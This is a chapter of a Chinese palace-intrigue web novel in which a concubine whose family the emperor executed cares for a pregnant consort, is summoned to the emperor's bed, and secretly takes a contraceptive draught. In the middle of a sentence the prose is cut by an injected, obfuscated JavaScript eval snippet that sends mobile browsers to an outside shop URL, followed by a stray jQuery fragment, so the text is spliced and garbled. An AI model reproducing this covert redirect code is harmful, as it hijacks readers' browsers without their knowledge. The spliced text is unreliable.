大约是看胎相稳固,不再刻意隐瞒后,沈见知有孕的消息很快就在宫中散播开来。
宋贤达登基五年,后宫一直无有所出。而沈嫔有孕,几乎可算作近年来头一份的大事。
皇帝赏赐了许多东西,又拨了人手去长春宫,还有心安排旁的嫔妃作陪。可沈见知性子高傲,素来与他人不甚亲近,其他妃嫔纵然有心,想借机掇些位分,可一想到沈见知冷淡的态度,心知恐怕不易,也都打消了这个念头。
因此当她主动向皇帝提出,希望景阳宫的陈美人前来长春宫陪伴时,宫中上下倒都觉得稀奇。
宋贤达本就因她有孕一事欣喜,加上沈见知从不主动求些什么,因而这次开口就显得格外有分量。
思及宫中嫔妃里陈晚荣是最没有威胁的一个,又因他想讨沈见知欢心,对这要求自然也就应允下来。
就这样,从深秋至冬日,陈晚荣开始频繁出入长春宫,宫人们在路上看到她,也不再稀奇,都知道她是要去照顾沈嫔娘娘的。
虽说此事被包了个皇帝下旨的壳子,但实际上,照顾沈见知一事其实是陈晚荣主动向她提出的——一来把沈见知交给旁人照顾她不放心,二来她是宫中唯一一个知晓沈见知真实想法的人。沈见知为了这个孩子做出了多大的牺牲,旁人不知道,陈晚荣却清楚,自然做不到袖手旁观。
为了让沈见知平安生下孩子,陈晚荣私下翻了不少医书,甚至跟在太医后头学熬药,从选材到火候,问得事无巨细,弄得太医几次都欲言又止,大约是想说娘娘您不必亲自来,但到底没敢开口。
这日陈晚荣又亲自跟着小厨房学着做了鸽蛋炖燕窝,刚做好就忙不迭端着去了长春宫,送到沈见知面前。
沈见知对口腹之欲没甚兴趣,淡淡扫了一眼那碗里的东西后,面无表情地评了一句。
“你倒比他那些太医还要殷勤些。”
陈晚荣不以为意道。
“太医那是奉命行事,我做这些,可没人命令。”
沈见知淡笑,倒也没拂了她的面子,将那碗鸽子汤端起来,悉数用尽了。
放下碗时,她下意识将手搁在了自己的小腹上。
但不过一瞬,很快就被她若无其事地收了回来。
……
岁寒已至,大约是在冷宫里落下的后遗症,陈晚荣的腿也疼得愈发厉害。
初时还只是酸胀,走路比寻常要慢些,云岚很早就注意到这点,提醒过她几次,但陈晚荣每回只敷衍应了,并未放在心上。
然而随着气温寒凉,腿疼之症也逐渐加重,每到长春宫殿门前,她总得扶着墙歇息好一会儿,才能够慢慢踱进去。
再往后,她甚至都做不到在沈见知面前掩盖那些异常,越来越慢的步伐,和因为忍痛不自觉紧皱的眉心,都很容易就出卖了她的难处。
沈见知看在眼里,没说什么,又或者是知道即便说了,陈晚荣也不会因此就歇了来长春宫的念头,遂在陈晚荣要来的日子里,偷偷吩咐下人们将宫中的地暖烧得更旺些。凡是那些琐碎的,需要陈晚荣大幅移动才能做的事,也都尽数交与了旁人。
有一日陈晚荣来这长春宫,还没坐稳,就有宫人端来了一碗热汤,搁在陈晚荣手边。
陈晚荣看了看汤,又看了看沈见知,见她似是低头在翻找些什么东西,但余光瞥到了陈晚荣递过来的眼神,便头也不抬地就回了一句。
“别问,快喝。”
陈晚荣没有推辞,端起来就喝了,腿疼虽没因此好多少,但至少那汤是热的,饮进肚里,身体也就跟着暖和了几分。
所幸熬了许久后,冬天终究还是过去了。
天气渐暖后,陈晚荣的腿也有了些起色,虽不至于痊愈,但至少不再痛到每走一步都要皱眉。
这日天气正好,她从窗外望过去时,忽然发觉院中的梨花开了。
陈晚荣难得起了赏花的心思,便与云岚一起去了院内,仰头向那满树梨花看去。
温暖的阳光自枝桠间漏下来,刚好够照亮她的面容。
那些梨花似雪一般堆叠在枝头,却不像雪那般冷。日头照上去时,花瓣近乎透明,边缘泛着一圈温润的暖光。
时不时地,还会有几片花瓣悄然飘落,轻柔地停在她的发梢眉间。
——宋贤达路过的时候,看到的就是这样一幅场景。
美人似玉,雪肤花貌应如是。
一旁的李公公见他立在原处,往那梨花树的方向多看了几眼,立马明了皇帝的意思,适时解释道。
“那位就是景阳宫的陈美人。”
宋贤达点了点头。
“原来是她,朕从前还真没见过。”
临走时,他又回头看了一眼梨花树的方向,随口道。
“景阳宫的梨花,今年倒是开得不错。”
……
皇帝要留幸的旨意是申时传过来的。
彼时陈晚荣正在用饭,当消息传到景阳宫时,她只觉得一阵天旋地转,险些连筷子都要握不住。
云岚陪在她身旁,得知这个消息也是一惊,看向自家小姐时,眼底也不自觉带上几分隐忧。
陈晚荣深深吸了口气。
纵使她做下要出冷宫的决定后,就预想过会有这么一天,但真正面对时,她的心头还是生出些许恐惧,以及,彻头彻尾的恶心。
那个下令将她父亲斩首,追杀她兄长坠崖,灭她全家的罪魁祸首,今夜竟然要装作没事人似的,还要过来临幸她。
何其荒唐,何其可笑。
手头上的饭也没心思再用,匆匆扒了几口后,她迅速放下碗筷,携云岚一同进了内间,为接下来要发生的事提前做准备。
焚香。沐浴。更衣。
每做完一件,她都觉得自己离那个即将到来,避也避不掉的时刻又近了一步。
云岚服侍着她在镜前坐下,开始为她敷面上妆。
整个过程里,她几乎都保持着低眉敛目这一个姿势,只等一切都准备好了,才终于舍得抬头,看了眼铜镜中的自己。
说来可笑,她几乎每一次打扮,都是在自个最不情愿的时候,大婚如此,现在亦是如此。
她承认镜中的自己很美,但一想到这样精心的妆扮,全是为了待会儿将自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581859|204799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己作为礼物似的送到那人面前,胃里就忍不住泛起一阵恶心。
可如今的她什么都没有,能做的也只有顺从。而顺从这件事本身,恐怕也是宋贤达最不屑去在意的。
陈晚荣咬了咬唇。
罢了,还是先将今夜熬过去,至于旁的,暂且按下不提。
……
宋贤达走了以后。
陈晚荣裹着被子,目光空洞地盯着头顶的纱帐,看那月光投出的影子,一点点从边际移到中央,映得殿内一片惨白。
她脑中还残留着方才那人伏在她耳旁,说得最后一句话。
“原本清平提议给你从贵人掇到美人时,朕还有些异议,今夜看来,你长得倒也担得上这位子。”
陈晚荣缓缓闭眼,没有哭,只是默默将收在身侧的五指并拢。
宋贤达。
她在心中念了一遍这个名字,然后很平静地,将它放在了和她父亲,兄长,和所有她需要一笔一笔去清算的账目那方。
帐中的月影逐渐重回了边际。
她忽然后知后觉意识到一件事——对方走后直到现在,竟然没有吩咐任何人给她端碗避子汤来。
她与沈见知不一样,沈见知是他灭门前就最为宠爱的妃子,可她无论是过去还是如今,身上始终贴着的一个标签,就是逆党之后。
那人再蠢也是皇帝,不会不明白一个临时起意幸过的罪臣之女,若怀上龙嗣,究竟意味着什么。
可他还是没有赐她避子汤。而这当然不能称之为好心,只怕是巴不得让她怀上孩子,然后借题发挥,名正言顺地将她赐死罢!
意识到这一点后,陈晚荣几乎吓出了一身冷汗,也不顾身体还有些不适,猛地就从床上坐了起来。
她迅速披衣起身,推开殿门,声音压得极低地唤了一句。
“云岚。”
云岚一直守在门外,闻声立刻凑上来,却见陈晚荣面色惨白,心下一惊。
“小……”
“去熬一碗避子汤来。”陈晚荣打断她,“要快。”
云岚愣了一瞬,迅速明白了什么,不再多问,头也不回地往小厨房跑去。
……直到热腾腾的避子汤终于下肚,陈晚荣才终于放下心来,躺到床上时,身体几乎已经疲累到了极点,之后也没怎么辗转,很快就沉沉睡去。
次日仍是个好天,陈晚荣难得睡到很晚,才渐渐转醒过来。
起身时身体有些发僵,她没有去想为什么,只如往常一样洗漱更衣,将所有不该在她身上出现的东西一一抹去,包括昨夜所有的痕迹。
这不是她头一回学会把痛苦收拾干净。冷宫两年,已经教会了她很多,有些事情越想,除了叫人更难过外,没有任何作用,倒不如就当它从没有发生过。
但“没有发生过”这句话,她在心底重复了三遍,才终于勉强信了。
只是她还在犹豫,今日究竟还要不要去长春宫中。毕竟沈见知目光敏锐,她不确定自己此刻的模样能不能瞒过她。
正犹疑间,忽听外头传来太监尖细的通报声。
“长公主驾到——”